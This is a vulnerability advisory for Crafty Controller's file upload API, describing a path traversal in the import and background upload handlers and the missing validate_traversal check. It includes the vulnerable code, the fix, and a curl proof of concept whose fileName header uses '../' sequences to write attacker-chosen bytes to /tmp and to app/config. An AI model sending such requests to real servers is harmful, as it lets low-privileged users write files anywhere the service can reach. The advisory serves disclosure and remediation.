### Summary The chunked/non-chunked upload handler `ApiFilesUploadHandler` derives the destination file path by joining a fixed upload directory with the client supplied `fileName` request header. For the `import` upload type (`/api/v2/servers/import/upload`) and the `background` admin upload type (`/api/v2/crafty/admin/upload`) the handler never validates that `upload_dir + fileName` stays inside the intended directory. A `fileName` value containing `../` sequences escapes the `import/upload` sandbox and lets the attacker write attacker-controlled bytes to any path the Crafty process can write to on the host, including locations completely outside the Crafty installation. The `import` path only requires the crafty-level `SERVER_CREATION` permission, which is a normal, non-superuser permission. A low privileged user can therefore plant or overwrite files outside the directory they are supposed to be confined to. ### Details File: `app/classes/web/routes/api/crafty/upload/index.py` The handler reads the destination filename straight from a request header: ```python self.filename = self.request.headers.get("fileName", None) # line 140 ``` A path-traversal check using `validate_traversal` is performed only when the upload type is `server_upload`: ```python if u_type == "server_upload": # line 151 self.upload_dir = self.request.headers.get("location", None) server_path = self.controller.servers.get_server_data_by_id(server_id)["path"] self.upload_dir = pathlib.Path( self.file_helper.get_absolute_path(server_path, self.upload_dir) ).resolve() try: self.helper.validate_traversal( # line 163 server_path, pathlib.Path(self.upload_dir, self.filename).resolve() ) except ValueError: return self.finish_json(500, { ... "TRAVERSAL_DETECTED" ... }) ``` For the `import` type the upload directory is a fixed path and no traversal check on `fileName` is ever run: ```python elif upload_type == "import": # line 107 if (not self.controller.crafty_perms.can_create_server(auth_data[4]["user_id"]) and not auth_data[4]["superuser"]): return self.finish_json(400, { ... "NOT_AUTHORIZED" ... }) self.upload_dir = Path(self.controller.project_root, "import", "upload") # line 124 u_type = "server_import" accepted_types = ARCHIVE_MIME_TYPES ``` The file is then written by joining the fixed dir with the raw header value, with no `.resolve()` and no containment check: ```python # non-chunked branch async with await anyio.open_file( os.path.join(self.upload_dir, self.filename), "wb" # line 219 ) as file: chunk = self.request.body if chunk: await file.write(chunk) ``` ```python # chunked branch file_path = os.path.join(self.upload_dir, self.filename) # line 299 ... async with await anyio.open_file(file_path, "wb") as outfile: # line 320 ... ``` Because `self.filename` is fully attacker controlled and is joined without any `validate_traversal` call on the `import` (and `background`) branches, a value such as `../../../../../../tmp/crafty_pwned.zip` resolves outside `import/upload` and writes the request body there. The only remaining restriction on the `import` branch is the extension/mime gate, which uses `mimetypes.guess_type` (extension only): ```python if (self.file_helper.check_mime_types(self.filename) not in accepted_types and u_type != "server_upload"): # line 179 return self.finish_json(422, { ... "INVALID FILE TYPE" ... }) ``` `ARCHIVE_MIME_TYPES` includes `application/zip`, `application/x-zip-compressed` and `application/octet-stream`, so any filename ending in `.zip`, `.jar`, `.bin`, `.so`, etc. passes. The traversal applies to the path portion of the filename, so the attacker can write to an arbitrary directory while keeping an allowed extension on the final component. Contrast with the gated sibling: the `server_upload` branch (same handler) correctly calls `self.helper.validate_traversal(...)` on `Path(self.upload_dir, self.filename)` before writing, so `../` in `fileName` is rejected there. The fix is to apply the same `validate_traversal` check to the `import` and `background` branches. `validate_traversal` itself (in `app/classes/helpers/helpers.py`) raises `ValueError` on traversal; the import/background branches simply never invoke it. ### PoC Prerequisites: 1. A Crafty user that is NOT a superuser but has the crafty-level `SERVER_CREATION` permission (a normal permission an admin commonly grants to users who are allowed to create their own servers). Steps (validated against the official 4.10.7 image): Log in and obtain the user's bearer token: ``` curl -sk -X POST https://CRAFTY_HOST:8443/api/v2/auth/login \ -H 'Content-Type: application/json' \ -d '{"username":"lowuser","password":"LowUserPass123!"}' # -> {"status":"ok","data":{"token":"<JWT>"}} ``` Upload a file whose `fileName` header traverses out of the `import/upload` sandbox into an arbitrary host path: ``` curl -sk -X POST https://CRAFTY_HOST:8443/api/v2/servers/import/upload \ -H "Authorization: Bearer <JWT>" \ -H "type: import" \ -H "fileId: poc-1" \ -H "fileName: ../../../../../../../../tmp/crafty_pwned.zip" \ -H "fileSize: 35" \ --data-binary "ARBITRARY_HOST_WRITE_OUTSIDE_CRAFTY" # -> {"status":"completed","data":{"message":"File uploaded successfully"}} ``` Observed result on the server host: ``` # ls -la /tmp/crafty_pwned.zip -rw-r--r-- 1 crafty root 35 ... /tmp/crafty_pwned.zip # cat /tmp/crafty_pwned.zip ARBITRARY_HOST_WRITE_OUTSIDE_CRAFTY ``` Writing two levels up into the application directory works the same way: ``` curl -sk -X POST https://CRAFTY_HOST:8443/api/v2/servers/import/upload \ -H "Authorization: Bearer <JWT>" \ -H "type: import" -H "fileId: poc-2" \ -H "fileName: ../../app/config/keepme.zip" \ -H "fileSize: 5" \ --data-binary "AAAAA" # file appears at <crafty>/app/config/keepme.zip ``` The intended directory `import/upload` remains empty during all of this, confirming the write escaped the sandbox. ### Impact An authenticated non-superuser with the `SERVER_CREATION` permission can write attacker-controlled content to arbitrary filesystem locations writable by the Crafty process, anywhere on the host (limited only to filenames ending in an archive/octet-stream extension). This breaks the directory confinement that the upload feature is supposed to enforce and can be used to plant files for later loading, overwrite group-writable application/config files, fill a target filesystem to cause denial of service, or stage further compromise. Integrity and availability of the host are directly affected.